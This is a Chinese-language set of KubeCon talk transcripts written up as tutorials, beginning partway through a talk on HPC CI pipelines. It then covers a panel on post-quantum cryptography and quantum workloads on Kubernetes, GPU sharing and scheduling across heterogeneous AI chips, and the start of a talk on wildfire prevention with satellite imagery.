这里有一些关于如何使用此流水线的示例。在左侧,你可以看到如何以模块化方式构建CI流水线。我们可以只构建容器并发布它,或者构建容器并立即在其中打开终端,或者构建容器并在仅CPU环境中测试然后发布,这非常模块化。在右侧,有一些关于如何从同一个Dagger流水线启动InterLink并提交作业的示例。你甚至可以只使用InterLink而不关心其他部分。

让我们看一个端到端工作流的例子。我们推送代码到GitHub,这会触发一些GitHub Actions工作流,这些工作流在底层运行一个Dagger流水线。你可以在Dagger Cloud上看到流水线的痕迹,可以导航整个跟踪。在开始时,我们传递一些变量作为密钥,然后容器被构建,最后一步是发布流水线:部署InterLink,在HPC上运行测试,并推送最终镜像。最终,Docker镜像被推送到GitHub容器注册表,而Singularity镜像被推送到目前托管在CERN资源上的硬件注册表。


5. 总结与展望

在本教程中,我们一起学习了如何构建一个支持科学数字孪生的云HPC平台。我们探讨了利用InterLink为异构的HPC和云资源提供统一的Kubernetes接口,以及使用Dagger创建可重复、可组合的CI/CD流水线。通过I2AI库的案例,我们展示了如何测试和自动化分布式AI工作流,确保代码在投入大规模HPC作业前的正确性与效率。

当前成果

  • 借助Dagger,我们可以在可重复的CI流水线中构建容器。
  • 通过InterLink,我们将实际的HPC资源集成到了GitHub中。
  • 我们实现了整个流程的自动化,即通过GitHub Actions、Dagger和InterLink进行集成的HPC CI测试。

下一步计划

  1. 扩展测试范围:我们不仅关心代码能否运行,还希望确保在修改训练器时不会引入低效问题。可以建立基线代码,确保代码始终以相同甚至更好的方式扩展。同时,研究能耗情况。
  2. 集成新的HPC中心:目前我们主要与斯洛文尼亚的Vega超级计算机合作,未来希望接入更多中心。
  3. 扩展至用户用例:我们目前开发的整个CI是针对I2AI代码的。但可以将其扩展到任何希望为其机器学习训练等编写“干运行”测试的用例,帮助用户在提交耗时很长、需要长时间排队的大型HPC作业之前进行验证,避免资源浪费。

感谢大家的参与。如果您对其中任何内容感兴趣,欢迎与我们联系交流。

049:如何实现? 🚀

在本节课中,我们将探讨量子计算与Kubernetes的交集,了解量子计算对云原生生态系统,特别是安全性和工作负载管理带来的挑战与机遇。我们将讨论后量子密码学的重要性、在Kubernetes上运行量子工作负载的现状,以及社区可以采取的行动。


量子计算与Kubernetes的现状

我们讨论了很多关于Kubernetes复杂性的问题。现在,将量子计算引入其中,使其变得更加复杂。大多数人将量子计算视为一种理论追求,尚未真正了解其实际应用场景、在Kubernetes上运行量子工作负载的意义,以及如何使Kubernetes和云原生生态系统实现量子安全。

既然我们已经讨论了很多关于人工智能的内容,为什么现在要讨论量子计算?因为人工智能已经足够复杂,如果我们现在不开始讨论量子计算,未来将会遇到麻烦。因此,我们需要趁还有时间时取得进展。由于时间有限,我们只有30分钟,我会尽量留出时间回答问题,让我们直接进入主题。

我们有一组出色的专家小组成员,请你们先做一下自我介绍。

  • Natalie Fisher:我在VMware/Broadcom与Nikita一起从事Kubernetes领域栈的工作,担任产品经理。
  • Nigel Jones:我在IBM研究院工作,从事后量子密码学和量子服务相关的工作,现在也做一些与人工智能交叉的研究。
  • Thomas Gosson:我是Key Factor的首席PKI官,过去30年一直从事网络安全、公钥基础设施和开源领域的工作。
  • Ricardo:我领导CERN的平台基础设施团队,负责云原生部署、机器学习部署,现在也开始研究量子计算管理。
  • Nikita:我也在Broadcom工作,是一名首席工程师。我长期参与Kubernetes领域,量子空间让我很感兴趣,所以想在KubeCon上多讨论这个话题。

量子炒作与现实应用

我们讨论了很多关于人工智能的炒作。现在我想回过头来谈谈量子炒作,它何时会发生?

我们都在学习量子计算机,并且仍在寻找现实世界的用例。但这些系统正在快速发展。我们知道,在某些方面,例如密码学,当前密码学所基于的一些数学问题可能会受到量子计算机的攻击。但这不仅仅是炒作,实际上已经有服务存在。例如,IBM在云端提供量子服务。关键是让这些服务对人们可用,以便他们可以开始实验和学习。

在CERN,我们有两个主要的量子计算倡议。第一个是CERN帮助领导欧洲的开放量子研究所,这个项目更多是关于治理和访问此类技术。另一个是量子技术倡议,目前正处于第二阶段,这更多是关于技术方面,不仅包括算法开发和识别匹配的用例,还包括确保我们能够高效且经济地管理这些工作负载。我们在内部参与度很高。

在后量子密码学领域,自NIST去年8月标准化了首批量子安全算法以来,它已成为最热门的话题之一,占据了我们大量时间,也是所有行业焦点或网络安全特定会议上的重要议题。

让我进入这个特定领域的原因之一是我们在讨论密码敏捷性,即如何快速更换加密密钥。听起来你们也在研究类似的东西。驱动我之前研究项目的一件事是,美国政府基本上在2022年宣布,到2035年必须支持量子计算。因为这个领域还很新兴,就像每个人都在说的,有很多我们不知道的事情,还有很多研究正在进行。真正重要的是尝试弄清楚我们如何实现目标,因为我们仍然相当落后。有一些公司,例如辉瑞这样的制药公司,正在使用它来测试分子,这是更实用的应用方式之一。此外,还有物流机会,这与人工智能工作负载以及量子计算相结合,他们试图找出最佳路线和出行方式。


密码学变革:后量子密码学的重要性

我认为你们都提出了一个非常好的观点,尤其是在密码学方面,我们需要进行很多改变。那么,我们能否多谈谈这一点?例如,在整个云原生生态系统或仅从Kubernetes开始,您认为需要引入哪些改变?

几乎所有安全原语,无论是MTLS、数字签名、JWT、代码签名,都依赖于非对称密码学。正如Nigel所说,这些算法(如RSA、椭圆曲线Diffie-Hellman)在足够大的量子计算机能够运行Shor算法时将被破解。当然,不仅是原语,整个社会都依赖于这些算法。这意味着我们必须更新事物,否则我们今天认为安全的东西将不再安全。

我认为另一部分是,我们需要了解我们实际在使用什么密码学。获取密码学清单,我们讨论过软件物料清单,还有一个名为CBOM的标准,它用有关密码学使用情况的信息来补充SBOM。这需要被了解,不仅仅是Kubernetes内部以及我们如何构建Kubernetes,还包括更广泛的认知和使用。因此,我认为了解你拥有什么、确定优先级非常重要。我们听说过“现在收获,以后解密”的概念,即我们现在可以捕获流量,保存起来,等到量子计算机能够破解时再回头处理。这涉及到风险评估,它可能与你那些具有长生命周期、在未来5到10年仍有价值的高价值数据相关,而对于你的短期数据可能无关紧要。因此,我认为了解你拥有什么,然后确定如何确定优先级真的非常重要。你无法一次性修复所有问题,我们开源社区必须提供帮助,像SBOM和CBOM可能是其中的一小部分。


社区中的现有工作

您是否已经看到任何项目或社区中有相关工作在进行?

我实际上是一个名为“后量子密码学协会”内项目的TSC负责人。我们实现了其中一些标准跟踪算法,如ML-DSA、ML-KEM,并致力于确保它们具有高保证性,以便我们可以开始将它们纳入技术栈。其他项目也有其他工作在进行,例如OpenSSL 3.5即将发布,它将增加对一些这些算法的支持,我们将看到这些支持通过技术栈向上渗透。因此,对于所有从事其他组件工作的项目维护者来说,关键是了解这些依赖项正在发生什么变化,并通过你的特定项目使其可用。

这不是要让您为难,但IBM正在开发一个开源的Qiskit SDK,对吧?所以人们也可以查看和试用它,但我不太了解细节。

Qiskit是一个用于开发量子应用程序的开源工具包,它绝对已经存在一段时间了,人们可以看看它。它本身是开源的,可以与多个后端一起工作。我肯定会说,如果你对量子计算感兴趣,很多公司都有相关的教育材料。所以我认为开始学习和理解它,以及理解为什么它不同,是件好事。量子计算不会取代经典计算,实际上是如何增强它,以及如何让那些恰好能在量子计算机上运行良好的小功能成为我们标准业务流程的一部分。


平台工程师视角:迁移到量子安全未来

我刚刚发现有趣的一点是,您说某些项目中已经在进行更改,这是我们未来将在技术栈中看到的情况。那么,从Kubernetes或平台工程师的角度来看,当我谈论将集群迁移到量子安全未来时,这到底意味着什么?

有几件事情。一是现代化,确保基础设施是现代的。所以一个先决条件可以说是TLS 1.3,在大多数通信情况下,它可能已经足够现代,正在使用TLS 1.3。但其他传统组织从TLS 1.2升级到TLS 1.3需要巨大的提升。完成这些之后,你还需要确保所有组件都可以轻松升级,你不能被遗留系统困住多年,现在必须更加敏捷、可更新和可追踪。然后就是密码敏捷性方面,项目不能再硬编码RSA或ECC,它必须是可配置的,以便在开发达到生产成熟度时易于更新。这样你就不会被困在那里,也不必重新开发太多组件。所以我认为,社区真正需要加强的是这三个关键方面。

我认为还有一点,当我们在软件栈中使用这些后量子算法时,有时密钥大小可能更大,数据包大小可能更大。在许多情况下,你可能使用混合方案,将传统加密(如椭圆曲线)与量子安全加密结合起来,这同样会增加资源大小和CPU使用率,对于非常小的交易或非常高流量的情况可能尤其重要。

对于某些应用来说,这可能完全无关紧要,但对于某些应用可能会产生巨大影响,所以在我们开始测试之前我们不知道。因此,我认为尽早开始尝试很重要。


在Kubernetes上运行量子工作负载

让我们稍微转换一下话题。我们讨论了很多关于安全性和密码学方面的事情,但是在Kubernetes上运行量子工作负载呢?您目前看到哪些差距,我们处于什么阶段?

密码学不是我研究量子计算的主要关注点。我们已经有一些工作负载从此中受益的明确用例。我举两个例子。一个是束流校准。我们有一个大型粒子加速器,质子束在其中运行。校准这些束流实际上是一项非常困难的任务。因此,人们一直在研究量子算法来帮助实时完成这项工作。他们实际上用实时质子束验证了这些算法,这很有趣。第二个是围绕量子机器学习的很多努力。我们谈到了在人工智能之后,量子计算给云原生领域带来了什么复杂性。实际上,在某些工作负载中,它们紧密相关。即使是像希格斯玻色子分析这样的事情,我们做的很多工作只是分析来自探测器的数据并试图发现新事物,也有量子机器学习算法可以帮助我们。由于问题的维度与当前量子计算机硬件不匹配,它们现在确实存在问题。这就是事情变得有趣的地方,因为你可以使用传统的机器学习算法来减少问题,然后使用量子算法进行第二步。我们在平台方面的主要挑战是,我们必须整合这种混合场景,即在同一技术栈中拥有更多经典和量子工作负载。因此,从平台角度来看,我们正在研究的是如何管理这些非常复杂的工作负载,如何在将长期存在的混合世界中管理它们。

还有其他更多属于基础设施方面的挑战,就是我们很可能不会很快在现场拥有量子计算机。所以它们是远程的。因此,我们需要以更像HPC的方式集成它们,将工作负载发送到云端或远程,获取结果,然后与你的其余分析集成,这比你在传统数据中心看到的紧密耦合的基础设施要多得多。

我认为,从提供商的角度来看,另一面是,当我们通过云提供量子服务时,Kubernetes对我们至关重要,因为你知道,发生在量子计算机上的实际计算只是其中一小部分,有很多预处理、后处理,围绕如何管理这些系统有很多控制工作,然后还有所有常见的“无聊”的东西,无论是CI/CD流程、登录还是身份验证,所有这些都基于Kubernetes。因此,Kubernetes是使这种效用对人们可用的关键部分。我认为与人工智能的类比在这种情况下也很好,因为当人工智能炒作几年前开始时,有一种观点是“云原生发生了什么?人工智能将走向何方?”但我们这些长期从事云原生工作的人认为,没有太多动力去重新发明整个技术栈,重做我们多年来依赖的所有工具。强烈的动机只是整合这种新型工作负载,也许调整现有系统以适当适应。我认为量子计算也会发生同样的情况。

我想补充一点,就Kubernetes目前如何与量子计算以及人工智能工作负载交互而言,它当然是作为编排组件方面发挥作用,但现在该领域的一切都是混合的。但我认为Ricardo提到的一点很有趣,那就是当它不是混合时,它将走向何方?我们讨论了很多基于量子机器学习等的QaaS。所以,如果观众中有人对此感兴趣,他们应该怎么做?下一步是什么?


如何开始:给初学者的建议

首先是量子机器学习。我认为第一步实际上是拥有一个可以受益的用例。机器学习实际上是量子计算一个相当好的用例。我不知道你是否听过人们谈论量子计算,正如之前提到的,很多人认为这将是下一代计算。显然情况并非如此,这将是一个混合世界。所以我要说,第一步是真正确定一个好的用例。第二点是之前提到的,有一些工具包可以模拟量子计算机,这是将你自己和你的工具引入此类工作负载的一个非常好的步骤,Qiskit就是一个很好的例子。第三点是量子计算机是真实的,你甚至可以通过公共云提供商访问它们,你可能已经可以访问。其中一些提供商在他们的目录中提供服务,让你可以访问量子计算机。我并不是说开始使用它们很容易。这就是为什么与Kubernetes的集成很有趣。存在挑战。我很乐意详细阐述其中一些。但你可以做到,这是真实的,它已经到来,而不是将要到来。

这里的讨论,我认为量子算法的工作方式与我们习惯的经典计算有很大不同,因此为了理解这些新机器的实际效用,是否存在相当陡峭的学习曲线?

幸运的是,这不是我的工作。我从事平台方面的工作,但我们有作为物理实验室的优势,所以很多人非常非常了解这项技术,甚至其背后的理论,他们正在推动边界。这就是为什么CERN在开放量子研究所和量子技术倡议中发挥主导作用,因为我们了解这些东西如何对我们以及其他潜在用例产生影响。我认为这个领域的另一件事是,随着我们对这些算法了解得更多,开发出更多算法,它们本身就会作为服务提供,供其他人直接消费。所以,如果你有某种金融工作负载并查看一些优化问题,你将会调用这个算法。从人工智能的角度来看,另一件变得有趣的事情是,你的AI模型可以调用工具。你的AI模型可以调用这些服务,因此它本身可以访问这些基于量子的算法,同时人工智能也被用来帮助你开发这些算法和编写软件,就像你编写普通软件一样。所以我认为人工智能在这个问题的多个方面都有很大潜力。


社区参与和下一步行动

这说得通。只是出于好奇,在座的有谁玩过量子计算机或在这方面有一些经验,无论是密码学方面?好的,大概两三个。那么,谁有兴趣或可能五个,谁有兴趣进入这个领域?好的,有一群人。那么,对于感兴趣的人来说,他们还能做什么?比如,有哪些具体的事情?例如,当我学习更多关于它的知识时,我觉得这很酷,但这看起来像是现在无法采取行动的事情。例如,有一些项目维护者或公司内部从事某些项目的人,他们应该做什么?他们的下一个行动项目是什么?

我想先说一下。我认为就我自己而言,当后量子密码学出现时,我已经研究这个很长时间了,你知道它很有趣,新事物,新算法以类似的方式应用,但非常有趣。所以你可以从中获得很多乐趣。但是,是的,你必须学习新算法是什么,它们如何工作,如何应用它们。所以有很多东西你可以研究,例如,新的混合密钥交换在TLS中如何工作。然后是密码敏捷性,无论你在哪个行业工作,无论是金融还是政府,现在都有大量新的白皮书涌现,关于如何应用密码敏捷性。就在几周前,NIST发布了一份非常好的、几乎是教育性的文件,关于在开发东西、在平台上部署东西时,当涉及到密码敏捷性时必须考虑的不同方面。所以有很多很好的材料可以阅读。

我同意这一点。我认为无论是密码学方面还是量子计算方面,都有很多材料。我想对于任何刚进入某个领域的人来说,我知道这对于维护项目来说是一件很棒的事情,当新人带着新想法出现,或者问为什么这么复杂,或者为什么文档这么差时,新贡献者的价值就非常巨大。你认为你来到一个主题领域,一无所知,但实际上你带来了额外的见解,然后帮助更广泛地传播信息。所以我鼓励人们尝试参与进来。

我还要补充一点,这是一个非常新的领域。我举一个例子来说明它有多早。有具体的用途,但还相当早期。例如,我们开始采购量子计算机的访问权限,因为全世界数量不多,没有标准来定义如何衡量工作负载,或者如何进行成本核算。现在,当你不知道如何实际定义你正在使用的成本时,采购资源真的非常困难。这就是为什么这个领域不仅需要量子计算专家和IT专家,还需要各种各样的人,需要业务人员来实际从这些服务中做出更具体的东西。当你开始研究时,你会发现每个量子计算机的定义有多么不同,如何提交工作负载,如何衡量效率,你如何实际请求访问和时间,这真的很有趣。所以,即使你不是量子专家,也有很多可以贡献的地方。


在CNCF社区内建立讨论空间

看起来有很多资源。在我组织这个小组讨论时,我可能想把这作为最后一个问题,并为观众问题留出一些时间。当我们组织这个小组讨论时,还有一位小组成员Paul来自IBM要加入我们。当我们讨论这个问题时,我们意识到在CNCF社区中确实没有一个我们可以讨论这个问题的论坛。Ricardo,我要让你为难了。你在TOC,那么现在这个论坛在哪里?我们应该怎么做?

我认为很好的是看看我们在人工智能方面做了什么。当时有很多需求,希望云原生基础设施能够发展以适应人工智能,这需要两个部分。一是管理所有这些项目并整合到生态系统中,所以我认为这个角色很大程度上属于技术监督委员会的职责范围。我们创建了这个人工智能工作组,让很多从事这项工作的人经常聚在一起,他们发布了一份白皮书,定义了生态系统的状态并给出了一些方向,说明我们应该走向何方。另一部分是平台更技术性的演进。我们从人工智能中学到,Kubernetes实际上非常灵活,可以适应不仅仅是管理节点或容器的工作负载。它成为了一堆东西的编排器。这是我们可以从为人工智能或HPC所做的工作中学到很多东西的领域,所有新的调度原语,我们在这方面所做的所有演进。这对于适应像量子计算这样的新事物至关重要。我们为人工智能成功做到这一点的事实,确实给了我们很多乐观情绪,相信我们也能为这个新时代做到同样的事情。

Nural,你想谈谈PQC协会吗?PQC协会,是的,正如我所说,在一个名为“后量子密码学协会”的组织中正在进行一些工作,围绕策划该领域的一些工作。它是Linux基金会的一部分,不是CNCF的一部分。我认为像PCA和CNCF这样的所有团体需要在这方面更紧密地合作,当然还有像OpenSSF这样的其他团体,当我们研究代码分析时。周一在维护者峰会上,我们举办了一个关于我们称之为“TAG重启”的研讨会,TAG是CNCF中的技术咨询小组。我们提议采用更灵活的方式来启动倡议。所以我认为,无论谁对这个领域感兴趣,我们都应该推动发起一项倡议,开始让人们更紧密地聚集和讨论,而不仅仅是在KubeCon期间有一个小组讨论,而是让这一整年都能持续进行。

是的,所以如果有人感兴趣,请在会后找到Ricardo,也许我们可以启动一些事情。


总结与关键要点

总结一下关键要点,并且真正简化它,我主要看到三个要点。一是量子计算不会取代经典系统,实际上会增强它们。第二点我们讨论了很多关于密码学的内容,所以向量子安全密码学的巨大转变即将到来,我们需要做大量的工作,我们需要立即开始。第三点,就像我们讨论人工智能一样,Kubernetes将在量子工作负载中发挥不可或缺的作用,我们需要开始着手填补那些空白并完成所有相关工作。说到这里,让我们在这里结束小组讨论,但我们开放给观众提问。那边有一个带支架的麦克风,如果有人感兴趣的话。


观众问答环节

问题1(给Ricardo,但也开放给所有人):您提到在将量子工作负载与Kubernetes集成时面临的一些挑战。我有兴趣多听一些关于这些挑战的内容。

挑战仍然存在,我不会声称我们已经解决了。但我想总结一下,我们拥有这些工作负载,量子工作负载与经典工作负载集成。所以我们有这种混合场景,我们需要将一部分分析或过程委托给量子计算机,取回数据结果,然后继续。这个基础设施不在其余基础设施所在的位置,这本身就是一个问题。这与我们在社区中不断讨论的多云或混合部署问题是相同的。这个挑战在量子计算机中更加明显,因为接口不一定是我们所期望的。这就是为什么我认为,如果这些量子计算机的提供商开始提供我们期望的API,对每个人都有很大好处。第二个是我之前提到的,当我们想要采购或访问这些量子计算机时,我们定义工作负载的方式在我们访问的不同设备之间非常不同。在不同的量子计算机之间,没有定义计算单元的标准。这也是一个挑战。最后一点是,很多算法也适合特定的设备。由于缺乏标准化,一些工作负载适合特定类型的量子计算机或特定实现,这也带来了很多挑战,不仅是在编排这些事情方面,还要确保我们在那个特定设备上有可用的时间。我不知道,我们目前在人工智能方面都有这个问题,GPU稀缺,在量子计算机方面情况更糟。如果你有很多人感兴趣,实际上没有很多设备可用。所以,是的,我想说这就是我目前面临的。我相信如果你往上走,人们也面临着其他挑战。

问题2(关于伦理):谢谢你们的小组讨论,非常棒。二月份,微软公布了一个主要的101量子比特处理单元。我的问题更多是关于伦理的,在它们开始大规模破解密码学之前,将它们发布给更广泛的受众是否有任何伦理考虑?谢谢。

这是一个难题。伦理,伦理。我想这就像任何服务一样。是的,我的意思是,安全长期以来一直有这种历史,伴随着CVE和漏洞利用之类的事情。当最终出现一个密码学相关的量子计算机时,它可能不是来自一个道德黑客组织或道德组织,谁知道呢。所以,我希望它会发生得非常渐进,并且当它发生时很明显,这样就不会……一个开玩笑的说法是,你怎么知道存在一个密码学相关的量子计算机?嗯,那就是当所有比特币都消失或你所有的比特币都被盗的时候。但希望不会发生在我们身上。所以,是的,像IBM这样构建这些东西的组织,可能沿着这些思路思考,不会轻易抛出一些东西,而且它会非常昂贵。我认为这也回到了优先级排序的观点,什么是你的高价值数据,专注于了解你使用什么密码学,其影响是什么,决定你现在需要在哪里实施这些保护。不要试图修复一切,而是专注于那个优先级,因为我们可能直到事后才知道它何时发生。


结束语

我想我们时间到了。如果你有更多问题,请在这个舞台附近找我们。如果你有兴趣围绕这个话题开始更多讨论,也请在这个舞台附近找我们。好的,谢谢大家。


本节课中,我们一起学习了量子计算与Kubernetes结合的前沿话题。我们探讨了后量子密码学转型的紧迫性、在Kubernetes生态中运行和管理量子混合工作负载的挑战与机遇,以及作为开发者和社区成员可以采取的初步行动。关键是要认识到量子计算是增强而非取代现有系统,并需要从现在开始为密码学升级和平台适应性做好准备。社区协作和持续学习将是应对这一变革的关键。

050:如何在Kubernetes中高效、灵活地管理和调度七种AI芯片

在本教程中,我们将学习如何提升Kubernetes集群中GPU的利用率,并统一管理来自不同厂商的异构AI计算芯片。我们将介绍一种名为Ham的解决方案,它能实现GPU共享、高级调度和统一监控。

背景与挑战

大家好,欢迎参加本次分享。本次分享的主题是解锁如何在Kubernetes中高效、灵活地管理和调度七种AI芯片。

这个标题有些抽象,但用一句话概括,就是如何提升Kubernetes中的GPU利用率

本次分享由两位软件工程师带来。我是李牧贤,这是我的同事张潇。我们都来自一家名为Dyna Point AI的初创公司。


首先,让我介绍一些背景信息。

第一个背景是算力需求的爆炸式增长。全球GPU市场增长率超过60%,其中大部分增长来自英伟达,异构计算芯片的增长率也超过20%。从图中可以看出,自大语言模型兴起后,算力需求急剧增长。

由于我们来自中国大陆,高端英伟达显卡的进口受到限制。因此,我们必须使用替代方案,例如其他设备厂商的AI芯片。这些芯片是英伟达卡的替代方案,虽然性能可能不如英伟达,用户体验也可能稍逊,但价格非常便宜,足以在生产环境中使用,并且能提供不错的性能。

然而,我们遇到了挑战。在传统的Kubernetes中,GPU无法被共享。假设你有5块GPU,每块有40GB显存。如果运行一个只需要2GB显存的小模型,这块GPU就无法再运行其他任务,导致其他需要GPU的Pod处于Pending状态,从而使得集群的GPU利用率非常低。

另一个挑战是异构集群的管理。中国有许多设备厂商,其中许多都实现了自己的调度扩展器,这会劫持Kubernetes的筛选和评分过程。如果你的集群由多种AI芯片组成,就必须安装所有这些厂商的调度扩展器,导致调度流水线变得冗长。这会使Kubernetes的调度性能变得非常差,这是一个需要解决的问题。

现有解决方案:动态资源分配

一种解决方案是动态资源分配。这是Kubernetes中用于在Pod内部或Pod之间请求和共享资源的API,在Kubernetes 1.32版本中达到稳定状态。它需要定义资源声明和资源类,每个设备厂商都需要实现自己的DRA驱动程序,并与Kubelet通信以实现设备共享、调度和分配。

但它有许多限制:

  • 它要求Kubernetes版本必须是最新的(1.32及以上)。
  • 目前并非所有设备厂商都实现了DRA驱动程序。英伟达的DRA驱动程序仍在开发中,尚未达到生产就绪状态。
  • 它需要创建资源声明和资源类。如果你想在Kubernetes内共享GPU,必须配置整个资源声明和资源类,并且需要显式启用此功能。

我们的解决方案:Ham

我们带来的解决方案叫做Ham。Ham是一个异构AI计算虚拟化中间件,用于提供GPU共享并管理来自多个设备厂商的异构AI计算设备。

它由一个Mutating Webhook、一个调度扩展器以及针对每个设备厂商的相应设备插件组成。此外,我们还为每个设备提供了容器内资源控制功能。

Ham是一个插件化、非侵入式、标准化且轻量级的解决方案,这意味着你可以非常容易地安装和卸载它。它也是CNCF的沙箱项目。

Ham的核心特性包括设备共享高级调度统一监控

设备共享

设备共享是我们的核心特性。如下图所示,如果一个节点有4块GPU,两个用户各自提交一个需要2块GPU的任务。在没有Ham的情况下,每个任务会独占2块GPU,导致整体利用率低于50%。而使用Ham后,这两个任务可以共享在2块GPU上运行,将剩余的GPU留给其他任务,从而将GPU利用率提升至接近100%。

这个过程对用户是透明的,你不需要修改任务、镜像或源代码,只需指定需要使用的设备内存即可。

在容器内部,我们通过注入一个名为 libcuda-control.so 的库来实现设备限制。它劫持了从CUDA运行时到CUDA驱动程序的调用,从而精确控制每个容器内的设备内存分配。如果容器尝试使用的内存超过了任务中设置的限制,就会返回OOM错误。

Ham适用于广泛的CUDA和Kubernetes版本,唯一的要求是CUDA版本大于10.2,且英伟达驱动版本大于440。

以下是使用示例。你只需在容器中指定希望使用的GPU数量以及为每个容器分配的GPU显存。

apiVersion: v1
kind: Pod
metadata:
  name: gpu-share-example
spec:
  containers:
  - name: test-container
    image: nvidia/cuda:11.0-base
    resources:
      limits:
        # 申请2块GPU,每块分配10GB显存
        nvidia.com/gpu: 2
        nvidia.com/gpu-memory: "10Gi"

在这个例子中,该任务需要2块GPU,每块使用10GB显存。Ham会为这个任务切割出10GB显存,剩余的22GB可供其他任务共享。我们提供的容器内资源控制功能可以确保显存使用上限被限制在10GB。

高级调度特性

除了基本共享,Ham还提供了一系列高级调度特性。

设备指定:你可以指定希望使用的GPU类型。例如,如果你只想使用A100,可以在Pod的注解中设置 ham.io/use-gpu-type: a100。或者,你也可以通过 ham.io/no-use-gpu-type: a100 来避免使用A100卡。

任务优先级:使用方法非常简单,只需设置一个名为 CUDA_TASK_PRIORITY 的环境变量。目前我们支持两种优先级:0代表高优先级,1代表低优先级。区别在于,只要高优先级Pod向某块GPU提交计算内核,运行在该GPU上的低优先级Pod就会被暂时挂起,等待高优先级Pod停止提交新内核后再恢复运行。这对任务是完全透明的。

动态MIG配置:你可以像示例中那样使用。只需指定希望使用的GPU数量以及希望分配的显存,Ham会根据模板搜索最合适的MIG实例供你使用。我们使用 nvidia-mig-parted 来为特定显卡动态生成MIG实例。用户无需关心具体的MIG实例名称,只需关心容器内希望使用的GPU数量和显存。

设备内存控制扩展到其他设备:此功能不仅适用于英伟达GPU,也适用于其他设备,如华为的昇腾AI芯片。例如,一块64GB的昇腾芯片,我们可以将其限制为16GB使用。该功能同样适用于昆仑、寒武纪等国产AI芯片。

拓扑感知调度:如果你需要分配超过1块GPU,例如部署一个跨多个节点和GPU的AI训练任务,你可能希望最小化GPU间的通信成本。为此,我们可以感知每块GPU之间的拓扑结构以及网络拓扑。通过这种方式,我们可以为AI训练任务分配物理上最近的GPU,以最小化通信成本。此功能已应用于昇腾等设备。

装箱与分散调度策略:每个任务可以指定自己的调度策略。bin 策略希望将任务调度到已经有Pod运行的GPU上,以最小化由GPU共享产生的碎片。spread 策略则相反,希望将任务调度到没有Pod运行的GPU上,以最大化性能。我们提供了GPU级别和节点级别的分散调度策略。

统一监控

在引入GPU共享后,除了DCGM Exporter提供的指标外,你还需要监控许多其他信息。例如,某块GPU已经分配了多少显存?还有多少显存可供其他任务使用?有多少工作负载正在该GPU上运行?这些工作负载对应的Pod名称、容器名称是什么?

Ham以Prometheus指标的形式提供了所有这些信息,可以轻松集成到Prometheus中,并通过Grafana仪表板进行展示。

生态系统集成

Ham也得到了其他生态项目的支持。

Volcano VGPU:如果你使用Volcano,可以在其项目页面找到关于Volcano VGPU的文档,这部分功能由我们贡献。社区负责容器内资源控制,而将剩余的调度过程留给Volcano调度器。

Koordinator:我们也已将GPU共享机制集成到Koordinator中。你可以在其官方网站上找到相关文档。

采用者与路线图

现在,让我将话筒交给我的同事,介绍采用者、路线图以及总结。

大家好,接下来我将介绍生态系统、采用者以及未来规划。

目前,Ham除了支持英伟达GPU,也开始支持如摩尔线程等更多AI芯片。我们希望在更多AI芯片的操作系统上支持Ham,并将其构建到AI系统中。在中国乃至全球,许多厂商也在其产品中集成了Ham,例如百度云、硅云、UCloud等。UCloud是中国最大的中立云提供商。

一些最终用户也使用Ham来解决GPU利用率低的问题。例如,一家南卡罗来纳州的公司在他们的生产环境中使用Ham来结合训练和推理任务。一家旅游公司以及一些关键用户,如P安全公司和SCBBC(一家银行和商业公司),也使用Ham来最大化GPU利用率并统一管理异构AI芯片。

截至目前,我们已有来自全球的近100家用户。

今年,Ham成为了CNCF沙箱项目。我们为2025年制定了清晰的路线图:

  1. 首先,我们将支持更多异构AI芯片,例如昆仑芯片。我们也希望支持AMD、Intel或AWS的AI芯片。我们欢迎任何帮助。
  2. 其次,我们希望支持动态资源分配。如何以兼容的方式将Ham与DRA集成是一个更大的挑战,因为许多用户已经在生产环境中使用了Ham。目前,越来越多的AI芯片公司已经完成了DRA的实现。
  3. 我们还将创建一个Web UI,以便更轻松地使用。
  4. 也许在年底,我们将申请成为CNCF孵化项目。

如果你想加入我们,我们非常欢迎。这是我们的GitHub仓库地址。

问答环节

问:你们在调度方面遇到的最大挑战是什么?
答:最大的挑战在于沟通。我们目前还无法联系到AMD。如果我们能联系到AMD,实现支持应该会容易得多。

问:能否详细说明一下你们是如何实现调度的?例如,Pod迁移是如何处理的?或者如果运行Pod的节点宕机了会发生什么?
答:调度部分是我们自己实现的调度扩展器。Ham由Mutating Webhook和调度扩展器组成。我们在调度扩展器中实现了额外的GPU筛选和节点评分逻辑。我们选择使用调度扩展器而不是调度框架,因为如果采用调度框架架构,我们需要兼容从Kubernetes 1.16到1.32的每一个版本,这对我们这样的开源项目来说非常困难。而使用调度扩展器,可以轻松插入从1.16到1.32的各个调度器版本。

总结

在本节课中,我们一起学习了在Kubernetes中管理异构AI芯片所面临的挑战,特别是GPU利用率低和调度性能差的问题。我们介绍了一种名为Ham的解决方案,它通过设备共享、高级调度策略和统一监控,有效地提升了集群资源利用率,并简化了多厂商设备的管理。Ham是一个轻量级、非侵入式的CNCF沙箱项目,拥有活跃的社区和清晰的未来发展路线。

051:基于Kubernetes和AI的野火预防云原生基础设施教程

在本教程中,我们将学习如何利用Kubernetes和人工智能技术构建一个云原生基础设施,用于预防野火。我们将从理解野火问题的严重性开始,逐步深入到技术架构的演变,特别是如何从简单的Jupyter Notebook过渡到使用Dagster进行复杂的数据流水线编排,并最终构建一个自动化、可观测的交付平台。

野火问题的严重性与挑战

上一节我们介绍了本教程的主题。本节中,我们来看看野火问题的背景。

野火是极具破坏性的事件,对生命、社区、建筑和商业造成巨大损失。这些事件通常非常突然且难以预测。

例如,几个月前,美国南加州发生了一场大型野火,这是加州历史上第二大的野火。它导致超过29人死亡,超过20万人被疏散,18000所房屋被毁,超过57000英亩的土地被烧毁。

在加州,超过60%最具破坏性的野火是由有缺陷的电力线路引起的。这与许多人认为野火主要由人为因素(如未熄灭的烟头)引起的印象不同。

野火预防是一项艰巨的任务,原因如下:

  • 电力基础设施庞大且复杂:电网覆盖范围广,包含大量不同的变电站,维护难度大,且需要接近100%的正常运行时间。
  • 故障突发且灾难性:一个小型变电站的故障就可能导致大规模混乱,例如近期欧洲某机场附近变电站故障导致机场关闭24小时以上,影响数十万乘客。
  • 巡检困难且成本高:电力线路常穿越私人领地,进行人工视觉巡检需要获得许可,过程耗时且昂贵。

Overstory的解决方案:从天空获取洞察

鉴于上述挑战,Overstory提出了一种不同的方法:利用高分辨率卫星影像和机器学习技术,从天空监测基础设施状况,而不是进行人工地面巡检。

以下是其工作流程的三个核心步骤:

  1. 获取植被数据:从不同来源(包括分辨率高达15厘米的卫星影像)获取植被数据。
